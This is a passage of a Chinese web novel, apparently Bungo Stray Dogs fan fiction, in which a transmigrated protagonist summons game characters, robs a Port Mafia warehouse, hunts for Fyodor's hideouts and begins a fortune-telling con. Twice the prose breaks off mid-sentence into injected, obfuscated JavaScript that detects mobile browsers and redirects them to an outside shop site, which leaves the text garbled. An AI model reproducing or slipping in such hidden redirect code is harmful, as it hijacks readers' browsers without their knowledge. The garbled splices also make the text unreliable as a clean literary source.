仓库门口的几人还在你看我我看你,当“站桩”,正当「中原中也」有些忍不住想要催促花言时,一旁的「立原道造」倏地出手,后者本能想要扣动扳机,可中途又像是想起了什么,转而变成用枪托击中了其中一人的后颈,「中原中也」紧随其后,戴着黑色皮质手套的手砍在另一人颈侧,仓库门口看守的两名港口mafia员工还未来得及做出任何反应便应声倒下。 “这次有点慢了。” 「中原中也」提起地上昏迷的两人,用异能把两人移到了仓库外侧的角落。 “确实,不过能够赶在敌人行动前解决就好。”「立原道造」一如既往地乐观。 「中原中也」不置可否,在用异能打开仓库门的同时破坏了里面的所有监控,他刚准备喊花言过来,一声声震耳欲聋的警报忽然响起。 宛如在热油中滴入了清水,整个港口瞬间沸腾了起来。 在场所有人都面色一变,来不及过多交谈,此刻常年并肩作战的默契胜于一切。 「中原中也」身体覆着一层红光,他一边通过异能加速碰过里面所有货物,一边回头喊花言。 “快,‘补药带走陀思’!” 花言猝不及防听见对方喊他游戏昵称,原本维持着「细雪」冲向仓库的脚步一乱,险些左脚绊右脚一头撞在仓库门上。 幸好最终他还是顽强地稳住了身形,用异能复制出了游戏内的建筑,将门开在了仓库门所在的位置。 他所复制的建筑原理本质上相当于「安妮的房间」,因此其他人看不见,也完全察觉不到这个空间的存在。 「森鸥外」带着「爱丽丝」与「立原道造」毫不犹豫地进了建筑,而「中原中也」也利用异能把仓库内的所有货物一股脑都塞进去后,靠着感应提起花言,将后者捞在臂弯处一同快速远离了港口。 11. 第 11 章 喧嚣逐渐被抛在身后,微凉的气流不断从脸颊刮过,花言脑海里仍旧回响着「中原中也」中气十足喊他游戏昵称的余音。 难道在他起这个昵称的那一刻,所有角色都把这个当做他名字了吗? 那种事情不要啊! 这跟把他钉在耻辱柱上有什么区别?! 他一直以为拥有这个异能后,他的真名会自然而然取代那个昵称,没想到原来把游戏昵称也一块写进异能程序里了吗?! 倒也不用在这个地方这么细致吧! 花言简直头皮发麻,甚至有点没脸面对其他人。 「中原中也」没有察觉到对方的异样,他一手捞着花言,一手虚扶帽檐,利用异能在横滨建筑之间敏捷地穿梭,直到进入与码头位置是对角的横滨郊区。 周围树影层层叠叠,丝丝缕缕的月光从繁茂的枝叶间倾泻,寂静得只能听见虫鸣。 花言抬手使用异能重现了建筑,两人一同进入了堆满货物的第一层。 乱七八糟的木箱挤满了这一层,与武装侦探社别无二致的布置也全部被打乱,里面原本的家具被可怜巴巴地挤得紧贴墙角,两人甚至连个下脚的地方都没有。 而在楼梯口,「立原道造」正勤劳地将靠近楼梯的货物搬运到二楼的武器库里,试图搬运出一条路来,见到两人他热情地打了声招呼。 “回来了,情况怎么样?” “还行,没人发现,我们赶在援兵到来前撤离了,路上的监控应该也拍不到什么,他用了幻象异能。” 「中原中也」一边回应,一边用异能控制木箱一个个飘向二楼。 有「中原中也」在,整理效率极大增加,近乎是瞬间,一楼又恢复了平整,连带着那些被挤到角落的桌椅、散落在地上的杂物,「中原中也」都顺手把它们恢复原位。 虽然他并不想替武装侦探社的人打扫卫生,不过看在这里是他们搞乱的份上,他还是勉强整理了一下。 花言无所事事地站在门口,人一闲下来,思绪就会随之飘散,「中原中也」惊天动地的那一喊又开始在脑海里循环播放。 他欲言又止地看了看正在替武装侦探社扫地的「中原中也」,又看了看站在楼梯口一边擦扶手上沾上的灰,一边自言自语嘀咕着建议他干脆把武装侦探社的人也召唤出来整理的「立原道造」,后知后觉地意识到好像少了一个人。 「森鸥外」当然不可能会打扫卫生,也不可能亲自搬运货物,所以应该在…… 花言踩上楼梯走到了二楼武器库门口,由于他之前玩游戏的时候没怎么升级这里,所以武器库连个门都没有,能够清晰看见里面整整齐齐码放的货箱与正在检查货物的「森鸥外」。 听见脚步声,「森鸥外」侧身朝对方丢出了一个药瓶,后者接过一看,映入眼帘的都是看不懂的英文专业术语。 “是你要的那种药物哦,”「森鸥外」笑眯眯地指了指,“药效还挺好的呢,看起来是欧洲改良研发出的最新一批。” “多谢。”花言随手塞进了口袋,打算一会单独放在楼下,避免弄丢或者混在一起。 “不用谢。”「森鸥外」回过身,他指尖拂过身侧的木箱,似感叹般,“难怪看守那么严密,这一批货物价值不菲,让我都有些心动了,看起来这个世界的港口mafia遭遇了强敌啊。” “也有可能是遭遇过强敌,产生火力不足的危险感了。” 花言看着近乎要堆满武器库的货物有些头疼地叹了口气。 “我这算不算是挑衅了啊……” 警报响的让所有人都猝不及防,根本没有时间去寻找他想要的药物,因此「中原中也」果断选择将里面的所有东西都搬了进来,不可否认,这样做确实万无一失,如果是花言,他也会选择这种做法,毕竟来都来了。 只是……他总有种这只是开端的预感,以后他估计要干更多法外狂徒的事。 等等,抢港口mafia货物应该不算法外狂徒,顶多算黑吃黑吧? 花言思绪歪了一瞬间。 花言的话倒是让「森鸥外」想到了什么,“如果这个世界港口mafia遇见的强敌是「组合」,那么我觉得你不用担心这个问题,这件事刚好能够推在「组合」头上,毕竟那一群人可是相当看不起这里呢,做点挑衅的事情也很正常。” “现在的时间线是「组合」之后啦,「组合」的头领现在估计正在商业街抢特价锅呢。”花言有气无力地反驳,他坐在了武器库内唯一一张桌子上。 「森鸥外」并不意外「组合」的落败,他像是认真地在为花言考虑,“这样也没关系,毕竟「组合」应该没能完全被消灭吧?那「组合」剩余的残党为了报仇而袭击了港口mafia的仓库不是更加顺理成章吗?” “啊……”「森鸥外」忽然双手击掌,仿佛想到了什么好主意,“要不然趁现在码头还热闹,你召唤一下「组合」那群人去走一圈吧?这样就正好坐实了嫌疑呢。” 花言闻言大为震撼。 他盯着对方半晌没出声。 这就是港口mafia首领吗?心果然脏啊!这么狡诈的计谋都想得出来! 如果真的这么做了,回头被发现,肯定会迎来「组合」和港口mafia的双打吧! “看你表情好像不太赞同这么做呢。”「森鸥外」遗憾地微微耸肩,“真可惜,这可是个一箭双雕的好计划。” 花言很怀疑对方提出这个计划,是不是因为对方所经历的时期是「组合」刚进入横滨的时候,所以想要借此伺机报复之类的。 他余光注意到从楼下上来的两人,脑海里一直反复播放的音频再次刷起存在感。 花言觉得这个问题还是要解决的,但是如果这个时候跟他们强调了自己的名字,就会显得自己很在意,显得欲盖弥彰,况且他总不能每次使用异能召唤人物都先跟对方说明一下自己改名的事。 果然还是直接把资料页复制出来改一下名比较方便。 花言坐在桌子上看似在思考着什么深沉的问题,实则不动声色地在暗中改名。 但就在他点下确定的那一刻,武器库内的四道身影——包括坐在货箱上百无聊赖晃脚的「爱丽丝」,都不由自主地愣了一下,他们像是感应到什么似的,先看了眼假装什么都没发生的花言,又看向彼此,都从彼此眼中看见了古怪的笑意,没能忍住从唇边溢出的笑声接二连三的在这一层回响。 花言:…… 好吧,他就知道会这样,还是被发现了。 当初只顾着看别人起怪名字过剧情很有喜剧效果,现在好了,回旋镖扎自己身上了。 似乎是注意到花言越发的沉默,「中原中也」干咳几声憋住了笑声,伸手拍了拍对方肩膀,生硬地安慰道。 “这次是你的真名了吧?原来你叫花言,我就说怎么会有人叫‘补药带走陀思’这种奇怪的名字。” 花言:…… 你刚刚又说了那个名字,对吧? 花言试图用视线去谴责对方,然而他忘记了自己现在戴着墨镜还戴着兜帽,一套组合下来严严实实地遮盖住了他所有微表情,能够看见的只有抿起的唇角。 “咳,事实上,花言君,”「森鸥外」唇边的弧度还没压下去,他用拳头抵住唇试图遮掩,“因为那一长串的名字实在是有些奇怪,所以我们都很少喊你名字,现在倒是解决了这个问题。” “本来林太郎还在忧虑你会不会更喜欢那个「费奥多尔」,直到后来他发现有「费奥多尔」参加的战斗大部分都会输得很惨才打消了这个怀疑。” 「爱丽丝」毫不客气地把「森鸥外」的糗事抖了出来。 对此「森鸥外」不满地抗议,“爱丽丝酱——!” 哈哈…… 花言根本笑不出来,只感觉自己又被攻击了。 每次有「费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14289222|152070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奥多尔」的队伍会输,纯粹是因为对方的卡牌技能都是加buff类,适合那种弹珠打的好还能抓住时机释放的,但不巧的是——他弹珠打的很烂,适合他的技能只有简单粗暴直接给敌人造成痛击的。 不过…… 花言忽然想到了一件事。 ——「森鸥外」这张人物卡的时间线在「组合」刚进入横滨时,对方怎么知道费奥多尔的? 难道是因为他之前看两人属性相同,让他们组过队吗? 这个念头短暂地划过,又重新回到现在。 他心累地摆了摆手,准备解除异能,“总之今晚先这样了,谢谢大家帮忙。” “不用谢,花言君,我们很高兴能够解决你的难题。”「森鸥外」笑眯眯地摆手,“晚安。” 伴随着话音落下,房间内重归寂静,只剩花言疲惫地躺在桌子上,他从口袋里掏出了那瓶药,对着灯光看了半晌。 暗中监视了许久的系统在此刻出现,【宿主,你是在怀疑他吗?】 [不,既然你说了他们的好感度随战斗次数而定,那他对我的好感度应该挺高的,再加上他的性格,因此他不会做出那种给我错误药物的事情,那样做对他没有任何好处。] 花言晃了一下药瓶,另一只手把眼前的墨镜推了上去,说出了脑海里在观察完「中原中也」三人言行举止后的想法。 [你说,我要不要找一下「费奥多尔」问问他在横滨的据点呢?] 【宿主,你终于打算主动出击了吗?】系统语气激动,甚至还有点欣慰,【很高兴看见你对任务开始上心。】 [不是,]花言冷漠地否定了对方的话,[我只是怕下药没成功,最后要追到监狱去而已,所以想提前打个补丁什么的。] 他暂时还不是很想为了攻略任务在这个世界成为法外狂徒,然后蹲两辈子都没蹲过的监狱。 花言从桌子上翻身坐起,把药瓶塞回了口袋,一边勾下墨镜一边走下楼梯。 楼下武装侦探社的布置已经恢复了原样,甚至比之前还要干净一些,花言为自己这些天一直住这,但是没有搞卫生的行为忏悔了一秒,紧接着毫不犹豫地抬手再次使用异能。 光粒在空气中浮动、凝结,直到组成一道修长的身形,伴随光粒散去,那道裹挟着西伯利亚寒风的孱弱身影也彻底出现在眼前。 那双紫罗兰色的眼眸微垂,看向眼前遮的严严实实的人影,哪怕根本看不见对方的模样,甚至没有听见声音,他也依旧能够认出对方,就像是「中原中也」他们一样,一种更深层次东西连接在他们之间,已经到了无需浅薄五感的地步。 “是您啊……好久不见。” 「费奥多尔」唇边弯起弧度,他扫过一旁桌面上展开的横滨地图,“您好像有事情需要我的帮助?” 刚翻找出地图的花言毫不犹豫地点头,言简意赅地说明了需求,“能麻烦你告诉我,你在横滨准备的所有据点位置吗?” 说着他又有些迟疑,“如果还没来得及准备据点就算了。” 毕竟费奥多尔这个角色卡的卡面很少,大部分都是无关主线的新系列,眼前「费奥多尔」卡面所在的时期也只不过是「组合」刚落败的时候,因此还没有准备据点的记忆倒也正常。 然而令他意外的是「费奥多尔」对此仅轻笑了一声,仿佛是在喟叹原来就这么点事而已。 “不,没关系,据点我很早就准备好了。” 「费奥多尔」绕过花言,从桌面另一边的笔筒里抽出了一只笔,修长苍白的指尖握着钢笔在纸上不断划过。 花言目光看着纸上零零散散被画出来的近十几个圈,难得陷入了有些不知道说什么的沉默。 就算不考虑世界不同导致两个费奥多尔判断不同所可能会出现的偏差,也可能会出现据点太多导致他刚好不断跟费奥多尔擦肩而过的情况,看起来这些地点足够他来回跑上一段时间了。 12.第 12 章 横滨今晚热闹非凡,道道光束从码头亮起划破夜幕,将海面也映衬得一片雪白。 杂乱无章的脚步声在仓库区域回响,众多身穿黑色西装的港口mafia成员已经将这片区域围堵的水泄不通,却仍旧没能搜寻到任何可疑的身影,仿佛敌人早在他们赶到之前,就已经带着那一仓库的货物一同逃离。 由于这批货物的重要性,再加上这次事件发生的时间短暂到了诡异的地步,港口mafia今晚同样灯火通明,近乎所有干部都汇聚于会议室,等待首领的决策。 端坐在首位的黑发中年男人扫过会议桌旁的众人,最终落在了一名戴着黑色礼帽的橙发男人身上。 “中也君?情况如何?有发现什么可疑的对象吗?” “十分抱歉,BOSS,我们赶到的时候没有发现任何可疑的身影,也没发现货物搬运的痕迹,就连一直在仓库附近巡逻的队伍也都说没看见任何可疑人员靠近。” 中原中也眉头紧皱,这件事发生的实在是令人匪夷所思,要不是负责看守仓库的人倒在角落,仓库里的监控也被破坏了,这看起来简直就像是货物自己消失了一样。 “这样啊……”森鸥外十指交叉撑着下巴,似苦恼般叹了口气,“看起来像是早有预谋的异能组织作案呢,又被盯上了吗?” 感叹过后他像是才注意到什么,忽然提及了一件看似毫不相干的事情,“说起来,A君怎么没来参加会议?” 坐在会议桌一端穿着和服的女人支着脸颊哼笑了两声,“据说他下午的时候就乘船出海了——就在你同意他处理费奥多尔的时候,迫不及待地就带着战利品走了呢。” “是吗……看起来他那边不太顺利,会议不参加就算了,连通讯也不接。” 森鸥外仿佛并不在意这件事,像是随口一提那样,转瞬又说起了正事。 但在座的所有人都知道对方不可能无缘无故地在重要的事情之前提起一件无关紧要的事情,对方会这么做,只说明对方起了疑心,认为这两件事之间有所关联。 “那两个负责看守仓库的人怎么样了?”森鸥外看向了中原中也。 “其中一个已经醒来了。”中原中也指尖摸上了耳边佩戴的通讯器,“需要现在让人把他带过来吗?” 森鸥外应了一声,语气无奈,“在这种目前暂时毫无线索的情况下,只能寄托于目击者了,该说幸好敌人没有下死手吗?是有信心不被发现,还是过于狂妄呢?” 伴随中原中也朝通讯器另一头的下令,会议室的门很快被人推开,一名褐色短发的男人押着一名看起来十分狼狈的男人走了进来,后者一停下脚步,都不用其他人呵斥什么,相当自觉地一下就跪在了地上,似乎已经深刻知晓自己所犯下的过错了。 男人的头深深埋在地毯上,将猩红的地毯晕染开了一片暗色的水渍,“十分抱歉,首领,是我……” 森鸥外抬手打断了对方的话,“现在说这些已经毫无意义了,直接告诉我们打晕你的是谁,你应该看见了吧?” 森鸥外的语气虽然听起来没有丝毫怒意,但所说的内容本身就已经携带了一层令人喘不过气的压迫感。 “我……”负责看守仓库的男人吞了口唾沫,有些吞吞吐吐,像是在反复确认记忆,也像是在迟疑该不该说一样。 他忍不住抬头看向了会议桌旁边的几道身影,又看了看身侧的褐发男人,没能从这些人身上得到任何该怎么回答的提示。 该回答吗? 他不会卷入什么港口mafia高层权势争夺战了吧? 男人面露难色,支支吾吾地含糊出声。 “好像……看见了吧……?” 感受到会议桌那边的几道视线逐渐落在自己身上,立原道造有点绷不住了,他轻踢了一下脚边的男人,怒道:“看见了就是看见了,没看见就是没看见,‘好像看见了吧’是什么意思?” 注意到立原道造有点崩溃的神色,男人迅速理解了对方的意思,这里应该是希望他实话实话。 于是他毫不犹豫地将对方的名字吐出,“是立原大人!” 立原道造:? “啊?” 说出的答案过于震撼,会议室安静了一秒,紧接着站在男人身旁负责扣押男人的立原道造难以置信地指了指自己。 “我?” 似乎是察觉会议室上其他人的视线开始变得意味深长,立原道造当即自证清白,“不是,BOSS,我虽然今晚确实没在港口mafia,但是我没去码头啊!” 立原道造实在没想到自己能被这样泼脏水,他只觉得自己从来没有这么想要呆在港口mafia二十四小时加班过,最起码这样他都不用如此艰难地证明自己的清白。 “不用紧张,我们当然相信你,立原君。”森鸥外笑了笑,目光旋即落在那名跪在地上的男人身上,“那么,还有看见其他人吗?” “还有……”跪在地上的男人迟疑地抬起头,看向了正一脸不善盯着他的中原中也。 会议室内所有人都顺着男人的视线看了过去。 中原中也:? 仿佛是受到了什么冒犯,他怒拍桌子站了起来,“喂!你什么意思?你难道想说我也在其中吗?!” 男人嚅嗫地点了点头。 中原中也见状怒气更甚,没等他出声打断这场荒唐的戏剧,只听森鸥外发话了。 “说谎也要有个限度哦,你的意思难道是昨天晚上立原君和中也君一起抢劫的仓库,还把你们都打晕了吗?” “不……不是的……”男人连连摆手。 没等众人心中冷哼一声认为果然是谎话,只听对方颤颤巍巍地继续说了。 “还有首领大人您和爱丽丝小姐……” 森鸥外:? 这一下会议室里的所有人都陷入了沉默。 半晌,中原中也因怒气而变得低沉的嗓音缓缓响起,在这间过于有些安静的会议室回响。 “喂,你知道故意给错误信息在港口mafia会得到什么下场吧?虽然仓库内监控是被破坏了没错,但码头内其他地方的监控可没有被破坏,只不过是调取需要点时间,所以先听听你的说辞罢了。” “属下发誓,绝对不会看错!” 跪在地上的男人猛地抬起头,言之凿凿,“当时我们不知道被什么东西束缚动不了,所以立原大人和中也大人还跟我们对视了几分钟才动手,现在想起来,说不准是什么‘美杜莎的凝视’之类的异能!” 森鸥外闻言哑然,他摆手让中原中也重新坐下,又示意立原道造带着男人出去。 等门合拢后,他才开口,“他应该没胆子撒谎,袭击仓库的敌人里应该有能够复制他人外貌的异能者,以及能够束缚人行动的异能者。” “或许还有个空间系异能者。”中原中也想到了在仓库周围没能发现任何货物搬运痕迹的事。 “真是强大又棘手的敌人啊……”森鸥外似单纯感叹般,“要是这个时候A君也在的话,港口mafia能够动用的人手就变多了呢。” 尾崎红叶敏锐察觉到了对方的言下之意,“你是怀疑……” 森鸥外嘴角的弧度重新扬起,仿佛在诉说一件事实,“一直没有消息,不是被杀了,就是被撺掇谋反了吧。” “「死屋之鼠」吗……?”尾崎红叶若有所思地抵住唇,眉头微皱,“他们如果有如此庞大的实力,那为什么头目——费奥多尔,会如此轻易地被绑架呢?” “或许是想要以弱示敌让我们放下戒备?”森鸥外身体靠坐在椅子上微微耸肩,“A君那里可能有什么他想要的,又或者有其他更为棘手的组织进入了横滨。” 尾崎红叶没有反驳,毕竟Ace作为港口mafia干部对港口mafia没有任何忠诚可言,因此收集些什么会对港口mafia不利的东西也并无可能。 可若是「死屋之鼠」的实力真的如此强大的话,他们的首领根本没必要以身犯险,会这么做只证明对方有所依仗,又或者……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14290734|152070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 其实他们抓的根本不是「死屋之鼠」首领,真正的「死屋之鼠」首领另有其人。 毕竟如果真的有其他更为棘手的组织进入了横滨,他们不可能一点消息都得不到。 “嘛,总之可以确定「死屋之鼠」已经进入横滨了,比起被动防御等对方出招,我还是更喜欢主动出击一些。”森鸥外说着侧头看向了坐在桌边的中原中也,“你说呢?中也君?” 后者会意地点头,“放心,BOSS,请把这件事交给我。” “那就好。”森鸥外又像是想起了什么,竖起一根手指,“啊,对了,A君的话,还是要尽力找找哦,如果他还活着,说不准知道些什么呢。” 尾崎红叶宽大的袖口捂住唇笑了几声,“知道了。” …… 伴随着任务的分配,港口mafia一瞬间行动了起来,连带着横滨这座城市的夜晚都变得肃穆压抑。 夜间穿梭在大街小巷的黑色身影变多了不少,他们像是在搜寻什么,试图发现任何可疑的人员,连那些下班晚的社畜见状都不敢再加班,一时之间横滨夜晚街道空旷无比,任何细微声响都变得清晰可闻。 不过这点对于花言来说并不是什么难题,他经常用「细雪」掩盖身形,因此只要脚步放轻一些,近乎没人能够发现他的踪迹,相比之下他更在意自己现在在做的事。 花言握着手里的地图,借助昏暗的路灯可以隐隐约约看清上面的内容,以及被圈出来、写上备注的地点。 他确认是眼前的住宅后,尝试着拉动了一下门把手,不出意外地锁住了,只能退而求次地从阳台翻了进去。 落地悄无声息,动静轻得近乎与虫鸣融合在一起。 系统看见对方潜入时的完美身手,不由得联想起对方看见尸体时的平静,以及劫港口mafia仓库和说要给攻略对象下药时的风轻云淡…… 【宿主……你真的没干过什么违法的事情吗?】 [当然没有。] 花言有些奇怪对方为什么会这么问,旋即又明白了什么,解释道,[我只是当过一段时间的修空调师傅,所以翻阳台窗户什么的都已经很熟练了。] 系统恍然大悟,【原来如此。】 原来只是普通的打工皇帝。 屋内一片寂静,同时也漆黑一片,像是无人居住一般。 等花言从阳台走进室内,才发现确实如此,这里确实无人居住,桌子上都积了一层薄灰。 费奥多尔并不在这里,也没有回过这里。 或许只是一个备用据点。 花言叹了口气,轻车熟路地从阳台翻了出去,开始查看离这里最近的下一个地点。 他一边赶往下一个地点,一边反思自己的所作所为。 [马路牙子……你说我算不算私闯民宅了啊?] 【只要没有被发现应该不算是私闯民宅?】 系统语气有些不确定,它回想了自家宿主小心翼翼偷感极重摸索房间的全程,补充道,【其实我觉得宿主你比起私闯民宅,更有点像是怨灵之类的阴湿存在。】 花言:? 这是什么话?他不爱听。 系统似乎是想到了什么实质性线索,认真地剖析,【因为宿主你至今为止,一直都是在暗中盯着攻略目标,没有进行过任何直接接触,甚至就连得到据点后,第一反应也是去看看有没有机会下药,好让对方睡个几天几夜,直接睡过剧情点。】 花言只觉得自己不仅被冒犯,好像还被攻击了。 他皮笑肉不笑地回复,[哈哈,没有经验真是对不起啊,既然这样,我觉得我们还是先回擂钵街吧,等我多经历几段恋情,熟练了再来。] 【不过话又说回来了。】 系统紧急补救,显然它也有着灵活的道德底线,【毕竟宿主你的攻略目标很棘手,所以不能用正常手段也很正常。】 花言:…… 不知道是不是他的错觉,怎么觉得这个系统越来越诡计多端了。 13.第 13 章 花言这些天勤劳的把地图上「费奥多尔」圈出来的位置都跑了个遍,甚至为了杜绝那种擦肩而过的可能,他去同一个据点时还特意交替了一下时间。 可惜的是哪怕这样他也还是没能遇见费奥多尔。 别说费奥多尔了,就连据点里那些物品的陈设都不带动的,跟没人居住一样。 是由于世界的不同,导致这个世界的费奥多尔没有选择这些据点,还是他来晚了,这个世界的费奥多尔已经马不停蹄地去绑架那个跟国木田独步有过节的青年,并愉悦地拉起大提琴了? 那这该拉了多久的大提琴啊?九天九夜吗? 耐心耗尽又疲惫不堪的花言决定放弃这个“蹲费奥多尔住哪个据点并下药”的计划,打算回快乐老家擂钵街继续整改流浪汉生态环境。 但伴随着他离擂钵街的距离越来越近,心底那股异常也愈演愈烈。 擂钵街附近的氛围莫名有些凝滞,无论是在附近商铺中像是在询问什么的警察,还是十分陌生的流浪汉面孔,都让花言感到了些许不妙。 好像出什么事情了一样。 他谨慎地停住了脚步,旋即毫不犹豫地转身离开,飞速远离了擂钵街。 擂钵街附近变得有些奇怪这件事让他有些惋惜,他本来认为在这个世界当流浪汉是最安全的选择,毕竟横滨政府这么多年都没有管过那个地方,包括里面出现什么伤亡事件也都是不了了之,可以说那里是被所有人都遗忘的腐烂角落,但怎么现在看起来好像也不是那么安全。 出什么事引起那些人注意了? 不,倒不如说,是出什么事能够让那些人不惜关注擂钵街也要调查了? 花言苦思冥想许久都没想到到底发生什么事了,唯一一个想得到的大事件只有自己几个星期前偷袭了港口mafia仓库的事。 但是那也该是港口mafia来排查找人吧?关警察什么事啊?总该不会是港口mafia因为有人偷他货物而报警了吧?!那也太有乐子了。 更何况,港口mafia就算是保护横滨势力中的一方,归根结底也是mafia,不可能跟警方合作的。 所以果然是有其他事情发生吧? 是什么呢? 花言坐在花坛边思考了半天,最终发现自己脑力有限实在是想不到,索性放弃去纠结这个问题。 他不记得原著里擂钵街在这个时间有什么剧情,那就说明这并不是什么值得在意的重要事件。 相比之下还是任务比较重要,毕竟他都为此耗费这么多精力了。 但是话又说回来了,他都这么努力了,也是时候奖励一下自己了。 花言撑着下巴,表情深沉。 [马路牙子,我觉得,我应该改变一下方针了。] 【什么?】系统不明白对方为什么突然跟它开始讨论计划,一时之间有些受宠若惊。 [我觉得你说的其实并不是没有道理,我之前想的都太阴暗了,我应该用一点阳光健康的攻略方式。] 花言煞有介事地说明,[比如说去高档点的咖啡店跟费奥多尔来一个偶遇,你觉得怎么样?] 【听起来是很经典的偶像剧发展。】 系统做出了点评,甚至想到了更加经典的攻略手段,【宿主你可以去咖啡店打工,在攻略目标来点咖啡的时候不小心把咖啡泼他身上,然后再借机提出帮对方洗衣物或者更换衣物,这样你们就能产生你来我往的联系,而如果他礼貌性拒绝了也没关系,你可以不依不饶地请对方留下联系方式,表示一定会负责到底!】 系统越说越觉得成功率很高,它语气激动,【不错的计划!宿主!】 花言:…… 花言只觉得自己好像有什么死去的记忆复活了,并且还在不断殴打自己的胃,以至于他一瞬间回想起了当初被朋友拉着看青春疼痛偶像剧的恐惧。 他冷漠拒绝。 [不要。] 系统十分困惑,【为什么?】 花言给出了一个近乎无懈可击的理由。 [我不想上班。] 系统:…… 没有在意系统的沉默,花言继续问道。 [你说……如果我复制出游戏里的金币去金店换钱,会被问金币来路而拒绝吗?] 【按照你那个世界的规则,十有八九会,但这个世界我不确定。】 系统不知道对方为什么突然问这个,不过这并不妨碍它回答,【要去试试吗?宿主?】 花言犹豫了一会儿,想到了擂钵街附近莫名出没的警察和奇怪的氛围。 [不……还是算了。] 要是因为这个事情引起了警察的注意就得不偿失了,毕竟他的身份在这里算是黑户。 花言抬头观察了一下街道上监控摄像头的位置,找了一处监控死角解除了一直焊在身上的「细雪」,又摘下了更换成白色斗篷的兜帽,露出一头顺滑漂亮的雪白发丝,随后还用异能复制了一个空碗出来,决定在这里实战一下他在擂钵街学到的流浪汉乞讨技巧。 [马路牙子,你觉得在这里会有人给我钱吗?] 系统看了眼自己宿主那张即使戴着墨镜也无法遮掩的白净又漂亮的脸,又看了看对方身上干净整洁的衣物,最后看向对方面前地上花纹繁复精致的空碗,觉得对方颇有一副乞丐拿金碗乞讨的意味。 【……或许吧。】 系统想了想,还是决定不把话说死,毕竟自己宿主不仅性格和思维奇怪,就连运气也奇怪,在对方身上什么事情都有可能发生。 事实证明对方的运气确实奇怪。 花言在这个地方坐了一天,人来人往的热闹街市中竟没有一个人往这个碗里丢一点钱,哪怕一日元都没有。 碗里空空荡荡,花言坐在这里看了一下午里形形色色的行人。 “唉……”花言没忍住叹了口气。 看对方当了一下午雕像的系统再一次回想起被擂钵街流浪汉整改计划支配的恐惧,没忍住疑惑出声,【宿主,当流浪汉是你的癖好吗?】 [不算是。] 花言想了想,还是放弃了再次去跟对方解释这个问题,毕竟要想个跟之前都不一样的说辞还挺费脑子的。 于是他仅直白地说道。 [只是我不想上班,还想要钱去喝咖啡吃下午茶而已。] 系统再一次沉默了下去,终于意识到对方突然跟它提及计划的改变,会不会是因为对方想要找个顺理成章的理由去高档的咖啡店奖励一下自己,就像是对方一直说攻略目标喜欢白毛,但却从未在攻略目标前露面,而是自己天天爱不释手地欣赏一样。 花言继续自己的流浪汉生涯,然而他无论是用热切的视线直勾勾地注视每一个路过的行人,还是热情地询问对方能不能给自己一点钱,都没能得到对方的回应。 每一个行人都目不斜视假装没察觉,然后步履匆匆地从他面前走过,仿佛他们都在此刻都有了急事。 花言完全没意识到自己这个外貌和穿着打扮,在这里当流浪汉对于这个世界的普通人来说是一件多异常的事情,他只怀疑是不是这个地段不好。 既然乞讨行不通,那他就主动出击吧! …… 此刻黄昏已至,赤红的火烧云在天际荡开,整座城市都笼罩着一层朦胧而又昏暗的红纱,熙熙攘攘的人流也逐渐稀疏,直到变得单行影只。 一名提着公文包的社畜拖着沉重的步伐,疲惫地走在这条已经没什么人的路上。 他脑海里回想着这一天的遭遇,最近他像是被霉运笼罩了一样,无论做什么都不顺利,这样下去的话,说不准什么时候被开了也有可能,到时候肯定会让本就不怎么和睦的家庭变得更加雪上加霜吧。 男人脸上神色愈发苦闷,他指尖不自觉地摸上另一只手空空如也的指根,低落的情绪拖拽着思维变得一片泥泞,他甚至开始怀疑起自己存在的意义,自己人生的价值。 忽然,一道刻意被压低的嗓音在耳边响起,带着神秘的意味,打断了他的思绪。 “这位先生,你是不是觉得最近有些倒霉?无论做什么事情都不顺心?” 男人下意识顺着声音看去,映入眼帘的是一名披着斗篷带着墨镜的奇怪青年,后者没有戴兜帽,因此他能够清晰地看见对方那一头垂落在身后的漂亮的长发,雪白的发丝随风轻轻扬起,让人想到了拍在海面上的雪白浪花,墨镜遮住了对方的眉眼,也遮住了对方大半边面容,只能通过对方勾起的唇角读出对方仿佛什么都知道的了然与自信。 男人站在原地没动,他警惕地打量眼前这个奇怪的青年,“你怎么知道?” “当然是从你面相和周身的运势看出来的,老实说,先生,你印堂发黑啊。” 花言轻笑一声,白皙的手指微微推了推墨镜,“你最近无论是工作,还是家庭,都不太和睦吧?甚至不久前还跟妻子吵了一架?” 男人神色越发警惕了,在警惕的同时还有些不安,他伸手摸上自己的脸,似乎是在惊疑对方怎么看出来的。 “你霉运缠身,乌云当顶,在我们这种人眼中,就像是源源不断冒着黑烟的工厂,想不注意都不行,而如果我没算错……”花言嗓音再次压低,用神秘又肃穆的口吻缓缓诉说,“你很快就要有血光之灾了,先生。” 男人闻言瞳孔骤缩,他一瞬间握紧了公文包,手心密密麻麻出了众多冷汗,忍不住再次靠近了那个神秘的青年,“那……” “哐当——” 他话还没来得及说完,脚下就像是踢到了什么,发出一声清脆的声响。 男人下意识低头看去,只见一个碗正在花坛下面打着旋。 赶在男人神色发生微妙的变化前,花言迅速捞起了地上的碗,揣进斗篷里抹消的同时,不忘沉重地叹了口气。 “你的情况比我想象中的还要再糟糕一些,先生,你知道的,做我们这一行的都需要功德,因此我在注意到你时,就特意带着法器在这里等你,但没想到你身上的负面影响竟如此严重,差点打碎我的法器。” 男人听了这话原本因这个碗而产生的动摇瞬间消失,他喉头滚动了一下,仿佛真的感知到了被什么无形之物缠绕的沉重,“请问……我该怎么做?” 